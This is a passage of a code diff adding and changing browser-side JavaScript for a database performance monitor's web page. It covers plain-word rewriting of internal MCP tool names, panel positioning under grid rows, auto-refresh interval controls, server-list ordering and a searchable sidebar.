+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plain-text.js
@@ -0,0 +1,198 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* Plain words for text the web page shows that the service wrote for an MCP client.
+
+   The service's messages are one text for every reader. An MCP client can pass `hours_back`, read `hints.captures` and call
+   `get_collection_health`; a person on the web page cannot, so the same sentence reads as internal names there. The service
+   text stays as it is (the client needs those names and many tests pin it); the page runs what it shows through plainText()
+   and shows the result.
+
+   Only a short list of known names is rewritten, never "every snake_case word": a PostgreSQL object such as
+   pg_stat_statements is a real name the reader may need. */
+
+/** Every MCP tool whose name starts with get_, the only names the tool-name rule rewrites. A user's own text can hold a
+    get_ word that is no tool (a procedure dbo.get_orders, a server get_prod), and it must reach the page as written.
+    WebPlainTextTests checks this list against the MCP tool registry both ways, so it cannot drift. */
+export const MCP_TOOL_NAMES = [
+  "get_active_queries", "get_active_query_plan_xml", "get_ag_health", "get_alert_history", "get_alert_settings",
+  "get_analysis_facts", "get_analysis_findings", "get_blocked_process_xml", "get_blocking", "get_blocking_plan_xml",
+  "get_blocking_stats", "get_blocking_trend", "get_collection_health", "get_collection_log", "get_collector_cost",
+  "get_collector_stall_probes", "get_cpu_scheduler_pressure", "get_cpu_utilization", "get_current_waits_trend",
+  "get_custom_alert_rule", "get_custom_view", "get_daily_summary", "get_daily_summary_range", "get_database_config",
+  "get_database_config_changes", "get_database_scoped_config", "get_database_sizes", "get_deadlock_detail",
+  "get_deadlock_plan_xml", "get_deadlock_trend", "get_deadlocks", "get_default_trace_events", "get_file_io_stats",
+  "get_file_io_trend", "get_finops", "get_finops_inventory", "get_finops_recommendations", "get_fleet_overview",
+  "get_health_parser_cpu_tasks", "get_health_parser_io_issues", "get_health_parser_memory_broker",
+  "get_health_parser_memory_conditions", "get_health_parser_memory_node_oom", "get_health_parser_scheduler_issues",
+  "get_health_parser_severe_errors", "get_health_parser_significant_waits", "get_health_parser_system_health",
+  "get_index_usage", "get_job_history", "get_latch_stats", "get_lock_wait_trend", "get_long_query_completions",
+  "get_memory_clerks", "get_memory_grants", "get_memory_pressure_events", "get_memory_stats", "get_memory_trend",
+  "get_mute_rules", "get_notification_routes", "get_object_locking", "get_oversized_plan_backlog",
+  "get_perfmon_stats", "get_perfmon_trend", "get_pg_autovacuum_health", "get_pg_blocking", "get_pg_buffer_usage",
+  "get_pg_column_stats", "get_pg_cpu_utilization", "get_pg_database_stats", "get_pg_database_trend",
+  "get_pg_deadlock_detail", "get_pg_deadlocks", "get_pg_extensions", "get_pg_index_bloat", "get_pg_index_usage",
+  "get_pg_io_stats", "get_pg_io_trend", "get_pg_kernel_stats", "get_pg_lock_stats", "get_pg_log_events",
+  "get_pg_logging_audit", "get_pg_plan_capture_readiness", "get_pg_plans", "get_pg_predicate_stats",
+  "get_pg_query_duration_trend", "get_pg_replication_slots", "get_pg_replication_stats", "get_pg_server_config",
+  "get_pg_server_config_changes", "get_pg_session_states", "get_pg_table_bloat", "get_pg_top_queries",
+  "get_pg_wait_sampling", "get_pg_wait_stats", "get_pg_wait_trend", "get_pg_wraparound_risk", "get_pg_write_stats",
+  "get_pg_xmin_horizon", "get_plan_cache_bloat", "get_plan_corrections", "get_plan_xml",
+  "get_procedure_duration_trend", "get_procedure_plan_xml", "get_pvs_stats", "get_query_duration_trend",
+  "get_query_heatmap", "get_query_repro_script", "get_query_store_clutter", "get_query_store_duration_trend",
+  "get_query_store_health", "get_query_store_plan_xml", "get_query_store_query_history",
+  "get_query_store_regressions", "get_query_store_top", "get_query_trend", "get_read_latency",
+  "get_resource_semaphore", "get_running_jobs", "get_server_config", "get_server_config_changes",
+  "get_server_properties", "get_server_summary", "get_server_trend", "get_session_stats", "get_slow_reads",
+  "get_spinlock_stats", "get_store_host", "get_store_log", "get_store_metrics", "get_store_query_history",
+  "get_store_query_stats", "get_sweep_reports", "get_table_index_sizes", "get_tempdb_trend", "get_tool_guide",
+  "get_top_procedures_by_cpu", "get_top_queries_by_cpu", "get_trace_flag_changes", "get_trace_flags",
+  "get_wait_stats", "get_wait_trend", "get_wait_types", "get_waiting_tasks",
+];
+const TOOL_NAME_SET = new Set(MCP_TOOL_NAMES);
+
+/** The label=value measurement labels the collectors write (the CollectorMeasurement labels). A lone label=value pair is
+    rewritten only when its label is one of these; WebPlainTextTests checks the list against the collectors' source. */
+export const MEASUREMENT_LABELS = [
+  "csv_records_discarded", "events_read", "events_stored", "foreign_zone_lines_skipped", "forged_captures_skipped",
+  "identity_epoch_changes", "job_history_identity_regressions", "job_history_identity_store_watermark",
+  "job_history_identity_target_row", "json_records_discarded", "log_bytes_skipped", "log_files_skipped_by_rotation",
+  "log_matches_limited", "log_resume_file_missing", "log_resume_file_recycled", "postmaster_epoch_changes",
+  "raise_shaped_deadlocks_skipped", "report_xml_empty", "report_xml_unparsed", "shred_gated", "statement_scrub_ms",
+  "statement_scrub_named", "statement_scrub_timeouts", "statement_scrub_unjudged", "statements_dealloc",
+  "statements_epoch_changes",
+];
+const LABEL_SET = new Set(MEASUREMENT_LABELS);
+
+/** A tool name, in the words its page uses: get_collection_health -> Collection Health. */
+function toolWords(name) {
+  return name
+    .split("_")
+    .map((w) => (w ? w[0].toUpperCase() + w.slice(1) : w))
+    .join(" ");
+}
+
+/** The shown form of `label=value` counts: a run of pairs becomes "label words: value, label words: value". */
+function pairsToText(run) {
+  return run
+    .split(" ")
+    .map((pair) => {
+      const eq = pair.indexOf("=");
+      return pair.slice(0, eq).replace(/_/g, " ") + ": " + pair.slice(eq + 1);
+    })
+    .join(", ");
+}
+
+/* The same counts with the "=" lost: shred_gated_1 events_read_0 report_xml_empty_0. Each token's last part is the value. */
+function underscoreCountsToText(run) {
+  return run
+    .split(" ")
+    .map((tok) => {
+      const at = tok.lastIndexOf("_");
+      return tok.slice(0, at).replace(/_/g, " ") + ": " + tok.slice(at + 1);
+    })
+    .join(", ");
+}
+
+/* Fields of the Collection Health row that its own sentences point at, named by the column that shows them. */
+const FIELD_WORDS = [
+  [/\blast_error\b/g, "Last Error"],
+  [/\blast_note\b/g, "Note"],
+  [/\bnote_count\b/g, "the note count"],
+  [/\btotal_runs\b/g, "Runs"],
+  [/\bsession_missing\b/g, "session missing"],
+];
+
+/* The rewrites that name one known internal token each (a hints pointer, a window parameter, a denial flag). They are the
+   parameter names the service's own sentences write, never a field or table name: those can be real object names in a
+   store error (pg_wraparound_stats, last_error), so they stay out of this list and are rewritten only by plainText. */
+function namedTokenText(text) {
+  let t = text;
+
+  /* A pointer into the MCP answer's own `hints`, which the page never shows. */
+  t = t.replace(/\s*[—–-]+\s*see hints\.captures for which collectors ran and when/g, "");
+
+  /* The health sentence's denial flag, said in words. The "true" form carries its own explanation after the dash. */
+  t = t.replace(/, and denied_since_last_success is true - the newest denial postdates the newest success,/g, ", and the newest denial is newer than the newest success,");
+  t = t.replace(/ \(denied_since_last_success is false\)/g, "");
+  t = t.replace(/\bdenied_since_last_success is true\b/g, "a denial is newer than the last success");
+  t = t.replace(/\bdenied_since_last_success is false\b/g, "no denial is newer than the last success");
+
+  /* The window parameter an MCP client passes; the page calls it the time range. */
+  t = t.replace(/\bwiden days_back\b/g, "widen the date range");
+  t = t.replace(/\bmove as_of\b/g, "move the end date");
+  t = t.replace(/\bdays_back\b/g, "the date range");
+  t = t.replace(/\bwiden hours_back\b/g, "widen the time range");
+  t = t.replace(/\bhours_back\b/g, "the time range");
+
+  t = t.replace(/\bCheck list_servers\b/g, "Check the server list");
+  return t;
+}
+
+/**
+ * `text` with only the named internal tokens put into words, nothing else. For text that may echo user data or a real
+ * error message (a Last Error), where the count and tool-name rules could change what the reader needs to see.
+ */
+export function plainTextNamed(text) {
+  if (typeof text !== "string" || text === "") return text;
+  return namedTokenText(text);
+}
+
+/**
+ * `text` with the internal names a web reader cannot use put into words. Text with none of them comes back unchanged.
+ * Not a string (null, a number) comes back as it is.
+ */
+export function plainText(text) {
+  if (typeof text !== "string" || text === "") return text;
+  if (text.includes(ENGINE_GATE_MARK)) return NOT_COLLECTED_LINE;
+  let t = text;
+  t = namedTokenText(t);
+
+  /* The health sentence's collector and field names, said as the page's own words (#5492). Not in the named path: a Last
+     Error can quote a real relation or column called the same thing. */
+  t = t.replace(/\bpg_wraparound_stats\b/g, "the freeze-headroom collector");
+  for (const [re, words] of FIELD_WORDS) t = t.replace(re, words);
+
+  /* A collector's measurement counts: shred_gated=1 events_read=0 report_xml_empty=0. A run of two or more pairs, or a
+     lone pair whose label a collector really writes; any other lone pair, such as timeout=30 in a driver message, stays. */
+  t = t.replace(/(?<![\w.-])[a-z][a-z0-9]*(?:_[a-z0-9]+)*=\d+(?: [a-z][a-z0-9]*(?:_[a-z0-9]+)*=\d+)*(?![\w=])/g, (run) =>
+    run.includes(" ") || LABEL_SET.has(run.slice(0, run.indexOf("="))) ? pairsToText(run) : run,
+  );
+
+  /* The same counts written with an underscore for the "=": a run of two or more name_digits words. A lone word such as
+     pg_stat_statements_1 is left alone, so a real object name followed by a number is not rewritten. */
+  t = t.replace(/(?<![\w.])[a-z][a-z0-9]*(?:_[a-z][a-z0-9]*)*_\d+(?: [a-z][a-z0-9]*(?:_[a-z][a-z0-9]*)*_\d+)+(?![\w])/g, underscoreCountsToText);
+
+  /* The index-bloat "answered only" read says it in the read's own parameter name. The page shows the sentence under the
+     answered-ranking panel, so it says why that ranking is empty, in words, and points at the table above that lists each
+     index with its reason (release walk, PG18 Storage). */
+  t = t.replace(/answered_only excluded every row: /g, "Nothing to rank: ");
+  t = t.replace(
+    /the suppression breakdown below says why each index has no answer and which reasons are remediable\. Re-run without answered_only to see the rows and their reasons\./g,
+    "the Index Bloat table above says why each index has no answer."
+  );
+  t = t.replace(/\banswered_only: true\b/g, "the answered-only ranking");
+  t = t.replace(/\banswered_only\b/g, "the answered-only ranking");
+
+  /* A tool name: use get_collection_health -> use Collection Health. Only a real tool name; any other get_ word is the
+     reader's own text (an object, a server) and stays as written. */
+  t = t.replace(/(?<![\w.])get_([a-z0-9]+(?:_[a-z0-9]+)*)(?![\w])/g, (m, rest) => (TOOL_NAME_SET.has(m) ? toolWords(rest) : m));
+
+  return t;
+}
+
+/** The one short line the page shows where the server says a collector can never run on this kind of server. The
+    server's own sentence names the collector, the engine gate and the way it is decided, none of which helps a reader. */
+export const NOT_COLLECTED_LINE = "This server does not collect this data (it does not apply to this kind of server).";
+
+/** The words every engine-gate sentence ends on (CollectorEngineCapability's permanent-gap epilogue). A "not collected"
+    answer that is something else, such as a plan that was never stored, does not carry them and keeps its own sentence.
+    The mark opens with "This is a" because a runtime-precondition sentence (an extension that is not installed, a skipped
+    source) says "not a permanent engine capability gap": matching the bare phrase turned that fixable state into "does not
+    apply to this kind of server" (release walk, PG18 OS CPU by Query). */
+const ENGINE_GATE_MARK = "This is a permanent engine capability gap";
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plan-row.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plan-row.js
new file mode 100644
index 0000000000..e13af9fa70
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plan-row.js
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* Where an open plan (or history) panel is drawn: under the clicked row, as wide as the grid's visible area, not inside the
+   last grid column.
+
+   A Plan cell sits in the last column of a grid that scrolls sideways, so a panel drawn inside that cell started past the
+   right edge of the screen and made the row a tall blank band. The cell now keeps only its button and a spacer. The panel
+   is positioned against the row itself (`tr:has(.plan-cell.plan-open)` in app.css is the containing block), sits at the
+   bottom of it, and the spacer makes the row exactly tall enough to hold it. No row is added to the table, so sorting,
+   filtering, Copy and CSV see the same rows as before.
+
+   The row is as wide as the whole table, and the table scrolls sideways inside its `.table-wrap`. A user reaches the Plan
+   column by scrolling right, so a panel that started at the row's left edge had its text off-screen to the left. The panel
+   is therefore pinned to the wrap's VISIBLE area: `left` follows the wrap's scroll position and `width` is the wrap's
+   client width (pinGeometry), and both are refreshed when the wrap scrolls or any watched element changes size.
+
+   One ResizeObserver per open panel watches the panel (it loads and grows), the row (a window resize re-wraps the other
+   cells and changes the row's height, which the spacer must follow) and the wrap (the visible width). It is disconnected,
+   with the scroll listener, when the panel closes (undockPanel), when the cell draws again, or when the cell has left the
+   page (a grid re-render), so a closed or discarded panel is never watched. */
+
+import { el } from "./util.js";
+
+/** The class a plan cell carries while its panel is open. */
+export const OPEN_CLASS = "plan-cell plan-open";
+
+/** The class a plan cell carries while it is only a button. */
+export const CLOSED_CLASS = "plan-cell";
+
+/** What each open host is watching, so closing the panel (or drawing it again) can let go of every observer. */
+const docked = new WeakMap();
+
+/**
+ * Where the panel sits inside the row so that it covers the wrap's visible area. All numbers are pixels: the wrap's visible
+ * left edge (its box left plus its border) against the row's left edge. The panel is never wider than the row and never
+ * pushed past its right end.
+ */
+export function pinGeometry({ wrapLeft, wrapClientLeft, wrapClientWidth, rowLeft, rowWidth }) {
+  const width = Math.max(0, Math.min(wrapClientWidth, rowWidth));
+  const visibleLeft = wrapLeft + wrapClientLeft - rowLeft;
+  const left = Math.min(Math.max(0, visibleLeft), Math.max(0, rowWidth - width));
+  return { left, width };
+}
+
+/**
+ * Puts `panel` in `host` (the plan cell) as a panel under the host's row, as wide as the grid's visible area. Call it after
+ * the cell's button is in `host`. The spacer follows the panel's height as it loads and grows.
+ */
+export function dockPanelUnderRow(host, panel) {
+  release(host);
+  host.className = OPEN_CLASS;
+  const spacer = el("div", { class: "plan-spacer", "aria-hidden": "true" });
+  host.appendChild(spacer);
+  host.appendChild(panel);
+  const state = { observer: null, row: null, wrap: null, onScroll: null, seen: false };
+  docked.set(host, state);
+  const fit = () => {
+    if (docked.get(host) !== state) return;
+    if (state.seen && !host.isConnected) { release(host); return; }
+    fitSpacer(host, spacer, panel);
+    watchRowAndWrap(host, panel, state);
+    pinPanel(host, panel);
+  };
+  if (typeof ResizeObserver === "function") {
+    state.observer = new ResizeObserver(fit);
+    state.observer.observe(panel);
+  }
+  if (typeof requestAnimationFrame === "function") requestAnimationFrame(fit);
+}
+
+/** Marks `host` as a plain button cell (no open panel) and lets go of what the open panel was watching. */
+export function undockPanel(host) {
+  release(host);
+  host.className = CLOSED_CLASS;
+}
+
+/** Disconnects the observer and the scroll listener a docked host holds, if any. */
+function release(host) {
+  const state = docked.get(host);
+  if (!state) return;
+  docked.delete(host);
+  if (state.observer) state.observer.disconnect();
+  if (state.wrap && state.onScroll) state.wrap.removeEventListener("scroll", state.onScroll);
+}
+
+/** Starts watching the row and the wrap the first time the host is in a row (it may be docked before it is on the page). */
+function watchRowAndWrap(host, panel, state) {
+  if (state.row || typeof host.closest !== "function" || !host.isConnected) return;
+  const row = host.closest("tr");
+  if (!row) return;
+  state.seen = true;
+  state.row = row;
+  state.wrap = host.closest(".table-wrap");
+  if (state.observer) {
+    state.observer.observe(row);
+    if (state.wrap) state.observer.observe(state.wrap);
+  }
+  if (state.wrap) {
+    state.onScroll = () => pinPanel(host, panel);
+    state.wrap.addEventListener("scroll", state.onScroll, { passive: true });
+  }
+}
+
+/** Sets the panel's left edge and width from the wrap's visible area. A cell outside a scrolling wrap keeps the CSS (the row's full width). */
+function pinPanel(host, panel) {
+  const state = docked.get(host);
+  if (!state || !state.row || !state.wrap || !host.isConnected) return;
+  const w = state.wrap.getBoundingClientRect();
+  const r = state.row.getBoundingClientRect();
+  const g = pinGeometry({
+    wrapLeft: w.left,
+    wrapClientLeft: state.wrap.clientLeft || 0,
+    wrapClientWidth: state.wrap.clientWidth,
+    rowLeft: r.left,
+    rowWidth: r.width,
+  });
+  panel.style.right = "auto";
+  panel.style.left = g.left + "px";
+  panel.style.width = g.width + "px";
+}
+
+/**
+ * Sizes the spacer so the row holds its own cells plus the panel: the row's height without the spacer, less what the
+ * cell's own button already takes, plus the panel's height. Does nothing for a cell that is not in a row yet.
+ */
+function fitSpacer(host, spacer, panel) {
+  const row = typeof host.closest === "function" ? host.closest("tr") : null;
+  if (!row || !host.isConnected) return;
+  spacer.style.height = "0px";
+  const rowHeight = row.offsetHeight;
+  const own = host.offsetHeight;
+  spacer.style.height = Math.max(0, rowHeight - own) + panel.offsetHeight + "px";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js
index 5025854d70..4e37a8e5c2 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js
@@ -89,7 +89,8 @@ export const READ_FIELDS = {
         { key: "errors", label: "Errors", format: "int" },
         { key: "avg_duration_ms", label: "Avg Dur", format: "ms" },
         { key: "last_success", label: "Last Success", format: "time" },
-        { key: "note_summary", label: "Note", wrap: true },
+        { key: "note_summary", label: "Note", wrap: true, plain: true },
+        { key: "message", label: "Why not collected", wrap: true, plain: true },
       ],
     },
   },
@@ -114,6 +115,7 @@ export const READ_FIELDS = {
   get_cpu_scheduler_pressure: {
     table: {
       rowsKey: ".",
+      tools: false,
       emptyText: "No scheduler snapshot in this window.",
       columns: [
         { key: "pressure_level", label: "Pressure" },
@@ -328,7 +330,7 @@ export const READ_FIELDS = {
       emptyText: "No long-running completions in this window.",
       columns: [
         { key: "event_time", label: "Time", format: "time" },
-        { key: "statement", label: "Statement", wrap: true },
+        { key: "statement", label: "Statement", wrap: true, valueList: false },
         { key: "database_name", label: "Database" },
         { key: "duration_ms", label: "Duration", format: "ms" },
         { key: "cpu_ms", label: "CPU", format: "ms" },
@@ -500,6 +502,7 @@ export const READ_FIELDS = {
     /* One object, so the table draws it as one row (rowsKey "."); the stat part is the same keys as tiles. */
     table: {
       rowsKey: ".",
+      tools: false,
       emptyText: "No server summary is available.",
       columns: [
         { key: "cpu_percent", label: "CPU", format: "pct" },
@@ -700,6 +703,22 @@ export const READ_FIELDS = {
       ],
     },
   },
+  get_slow_reads: {
+    table: {
+      rowsKey: "reads",
+      emptyText: "No slow reads were recorded.",
+      columns: [
+        { key: "read_time", label: "Time", format: "time" },
+        { key: "surface", label: "Surface" },
+        { key: "route", label: "Route" },
+        { key: "outcome", label: "Outcome" },
+        { key: "total_ms", label: "Total", format: "ms" },
+        { key: "source", label: "Source" },
+        { key: "server_name", label: "Server" },
+        { key: "statement_summary", label: "Statements", wrap: true },
+      ],
+    },
+  },
   get_collector_stall_probes: {
     table: {
       rowsKey: "probes",
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js
index f29c1b1e6c..8b7c97840c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js
@@ -1,6 +1,6 @@
 /* #4666: the labelled "Auto-refresh:" select shown on a saved view/notebook page and in both editors. */
 import { el } from "./util.js";
-import { REFRESH_CHOICES, refreshLabel } from "./refresh-policy.js";
+import { REFRESH_CHOICES, PAGE_REFRESH_CHOICES, refreshLabel } from "./refresh-policy.js";
 
 /**
  * @param {string} current  the effective choice key ("off" | "1m" | "5m" | "15m")
@@ -18,3 +18,37 @@ export function buildRefreshControl(current, onChange) {
   const root = el("label", { class: "refresh-control" }, [el("span", { text: "Auto-refresh:" }), select, noteEl]);
   return { root, note: (text) => { noteEl.textContent = text || ""; } };
 }
+
+/**
+ * The shell's interval selector plus Refresh button for the built-in server and FinOps pages. It lives outside
+ * #main, so the page's own rebuild never resets it.
+ * @param {string} current  the effective page choice key ("30s" | "1m" | "5m" | "off")
+ * @param {(choice: string) => void} onChange  called with the new key when the operator picks one
+ * @param {() => void} onRefresh  called once per Refresh click
+ * @returns {{ root: HTMLElement, select: HTMLElement, setBusy: (busy: boolean) => void, setChoice: (choice: string) => void }}
+ *   `setBusy` disables the Refresh button (aria-busy, "Refreshing…" title) while reads run; `setChoice` shows a choice
+ *   another tab saved.
+ */
+export function buildPageRefreshControl(current, onChange, onRefresh) {
+  const select = el("select", { class: "refresh-select", id: "page-refresh-select", "aria-label": "Auto-refresh interval",
+    title: "How often this page reloads its data. Off pauses this page only; the sidebar and status bar keep updating." });
+  for (const key of Object.keys(PAGE_REFRESH_CHOICES)) {
+    select.appendChild(el("option", { value: key, text: refreshLabel(key) }));
+  }
+  select.value = current;
+  select.addEventListener("change", () => onChange(select.value));
+  const button = el("button", { class: "auto-refresh-toggle", id: "page-refresh-now", type: "button", text: "Refresh" });
+  button.addEventListener("click", () => onRefresh());
+  const idleTitle = "Reload this page now";
+  button.setAttribute("title", idleTitle);
+  const setBusy = (busy) => {
+    button.disabled = busy;
+    if (busy) button.setAttribute("aria-busy", "true"); else button.removeAttribute("aria-busy");
+    button.setAttribute("title", busy ? "Refreshing…" : idleTitle);
+  };
+  const setChoice = (choice) => { select.value = choice; };
+  const root = el("div", { class: "refresh-control page-refresh-control", id: "page-refresh-control" }, [
+    el("span", { text: "Auto-refresh:" }), select, button,
+  ]);
+  return { root, select, setBusy, setChoice };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js
index b7b6e05467..a53242aba2 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js
@@ -5,6 +5,41 @@
 /** The per-page auto-refresh choices a saved definition's `refresh` key may carry, in milliseconds (0 = off). */
 export const REFRESH_CHOICES = { off: 0, "1m": 60000, "5m": 300000, "15m": 900000 };
 
+/* The built-in server and FinOps pages' interval choices (the desktop Viewer's 30s / 1m / 5m, plus Off), in the
+   order the selector lists them. Saved views keep REFRESH_CHOICES: their stored `refresh` key is validated server-side. */
+export const PAGE_REFRESH_CHOICES = { "30s": 30000, "1m": 60000, "5m": 300000, off: 0 };
+
+/** The page choice before the operator picks one: the cadence these pages always ran at. */
+export const DEFAULT_PAGE_REFRESH = "1m";
+
+/** The localStorage key holding the operator's server/FinOps page choice. */
+export const PAGE_REFRESH_KEY = "darling.pageRefresh";
+
+/** `raw` when it names a page choice, else the default. */
+export function pageRefreshChoiceOf(raw) {
+  return typeof raw === "string" && Object.prototype.hasOwnProperty.call(PAGE_REFRESH_CHOICES, raw) ? raw : DEFAULT_PAGE_REFRESH;
+}
+
+/** The persisted page choice from a Storage-like object; unreadable storage reads as the default. */
+export function loadPageRefreshChoice(storage) {
+  try {
+    return pageRefreshChoiceOf(storage.getItem(PAGE_REFRESH_KEY));
+  } catch {
+    return DEFAULT_PAGE_REFRESH;
+  }
+}
+
+/** Persists the page choice and returns the validated key; storage that refuses the write still returns it. */
+export function savePageRefreshChoice(storage, choice) {
+  const key = pageRefreshChoiceOf(choice);
+  try {
+    storage.setItem(PAGE_REFRESH_KEY, key);
+  } catch {
+    /* private mode or a full quota: the choice holds for this page load only */
+  }
+  return key;
+}
+
 export const MAX_BACKOFF_MS = 15 * 60 * 1000;
 
 /** Delay until the next page refresh, or null when auto-refresh is off for the page. */
@@ -34,5 +69,5 @@ export function refreshChoiceOf(def, isNotebook) {
 
 /** Human label for a choice key. */
 export function refreshLabel(choice) {
-  return choice === "off" ? "Off" : choice === "1m" ? "1 min" : choice === "5m" ? "5 min" : "15 min";
+  return choice === "off" ? "Off" : choice === "30s" ? "30 sec" : choice === "1m" ? "1 min" : choice === "5m" ? "5 min" : "15 min";
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/server-order.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/server-order.js
new file mode 100644
index 0000000000..043e362144
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/server-order.js
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* One order for every server list on the web: the sidebar's. The sidebar sorts by display name, favourites first;
+   a pick list that sorted another way (the registry's order, or list_servers' order) put the same servers in a
+   different order from the sidebar beside it. The sidebar, the pickers and the scope lists all sort through here.
+
+   The favourites are keyed on the numeric server id the fleet cards carry. list_servers rows carry no id, so the sidebar
+   hands every fleet read to rememberFleet() and a row without an id borrows the one the last fleet read gave its
+   server_name. Before the first fleet read nothing is known, and the order is the plain display-name order. */
+
+import { favoritesFirst } from "./viewer-local.js";
+
+/** server_name -> server_id from the last fleet read. */
+let idByName = new Map();
+
+function labelOf(r) {
+  return String((r && (r.display_name || r.label || r.server_name || r.value)) || "");
+}
+
+/** The sidebar's comparator: display name (falling back to the server name), as the user reads it. */
+export function byDisplayName(a, b) {
+  return labelOf(a).localeCompare(labelOf(b));
+}
+
+/** Remember which server_id each server_name has, from the cards of a /api/fleet read. */
+export function rememberFleet(cards) {
+  const next = new Map();
+  for (const c of Array.isArray(cards) ? cards : []) {
+    if (!c || !Number.isInteger(c.server_id)) continue;
+    if (c.server_name) next.set(c.server_name, c.server_id);
+    if (c.display_name && !next.has(c.display_name)) next.set(c.display_name, c.server_id);
+  }
+  idByName = next;
+}
+
+function idOf(r) {
+  if (!r) return undefined;
+  if (Number.isInteger(r.server_id)) return r.server_id;
+  return idByName.get(r.server_name || r.value) ?? idByName.get(r.display_name);
+}
+
+/**
+ * A copy of `rows` in the sidebar's order. A row is a list_servers row (`server_name`, `display_name`), a fleet card
+ * (`server_id` too) or a picker option (`value`, `label`): whichever of those names it has is used.
+ */
+export function orderServers(rows) {
+  const keyed = (rows || []).map((r) => ({ r, server_id: idOf(r), display_name: labelOf(r) }));
+  keyed.sort(favoritesFirst(byDisplayName));
+  return keyed.map((k) => k.r);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/sidebar.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/sidebar.js
new file mode 100644
index 0000000000..b6f4150eca
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/sidebar.js
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The sidebar server list (#5243): a live search box, an optional group-by-tag view, and the list itself. The
+ * browser computes nothing here: /api/fleet already carries each card's tags and the tag forest, so this only
+ * filters and groups what the shell read (fleet-groups.js holds the rules the Fleet page shares).
+ *
+ * The search term is module state, not persisted: the 60 s repaint and a route change rebuild the list, never
+ * the search box, and the box re-reads the term. Typing repaints through the callback app.js hands to
+ * initSidebarSearch (its paintSidebar), so the active row is read from the CURRENT route, never a cached one. Whether the list is grouped and which groups are collapsed
+ * persist per browser through viewer-local.js (ids and booleans only, never a name).
+ */
+
+import { el, mount, bandClass } from "./util.js";
+import { navigateServer } from "./panels.js";
+import {
+  favoritesFirst, isFavorite, isSidebarGrouped, setSidebarGrouped, isSidebarGroupCollapsed, toggleSidebarGroup,
+} from "./viewer-local.js";
+import { favoriteStar, alertBadge } from "./viewer-local-ui.js";
+import { sidebarRows } from "./fleet-groups.js";
+import { byDisplayName, rememberFleet } from "./server-order.js";
+
+const INDENT_REM = 0.75; // per group depth
+const BASE_PAD_REM = 1.25; // .server-item's own left padding
+
+let searchTerm = "";
+
+/* The order every server pick list on the web shares (server-order.js): display name, favourites first. */
+const byName = byDisplayName;
+
+/**
+ * Builds the search box and the group-by-tag toggle into `host`. Called once at start-up. `repaint` is the app's
+ * sidebar paint (it reads the last fleet and the current route fresh and calls paintServerList).
+ */
+export function initSidebarSearch(host, repaint) {
+  if (!host) return;
+  const input = el("input", {
+    class: "search-input sidebar-search-input",
+    type: "search",
+    placeholder: "Search servers",
+    "aria-label": "Search servers by name or tag",
+  });
+  input.value = searchTerm;
+  input.addEventListener("input", () => {
+    searchTerm = input.value;
+    if (repaint) repaint();
+  });
+  const grouped = el("input", { type: "checkbox", "aria-label": "Group servers by tag" });
+  grouped.checked = isSidebarGrouped();
+  grouped.addEventListener("change", () => {
+    setSidebarGrouped(grouped.checked); // repaints through the local-state listener
+  });
+  mount(host, [input, el("label", { class: "group-control sidebar-group-control" }, [grouped, el("span", { text: "Group by tag" })])]);
+}
+
+/** The current search text, for the status the page shows and for tests. */
+export function sidebarSearchTerm() {
+  return searchTerm;
+}
+
+function serverItem(c, depth, activeParam, grouped) {
+  const target = c.server_name || c.display_name;
+  const active = activeParam != null && (activeParam === c.server_name || activeParam === c.display_name);
+  return el(
+    "div",
+    {
+      class: "server-item" + (active ? " active" : ""),
+      dataset: { server: target, display: c.display_name },
+      style: grouped ? "padding-left:" + (BASE_PAD_REM + depth * INDENT_REM) + "rem" : null,
+      onActivate: () => navigateServer(target),
+    },
+    [
+      el("span", { class: "dot " + bandClass(c.band) }),
+      el("span", { class: "name", text: c.display_name }),
+      alertBadge(c.server_id),
+      favoriteStar(c.server_id),
+    ]
+  );
+}
+
+function groupHeader(g) {
+  const header = el(
+    "div",
+    {
+      class: "sidebar-group-header",
+      style: "padding-left:" + (0.75 + g.depth * INDENT_REM) + "rem",
+      "aria-expanded": g.collapsed ? "false" : "true",
+      dataset: { group: String(g.id) },
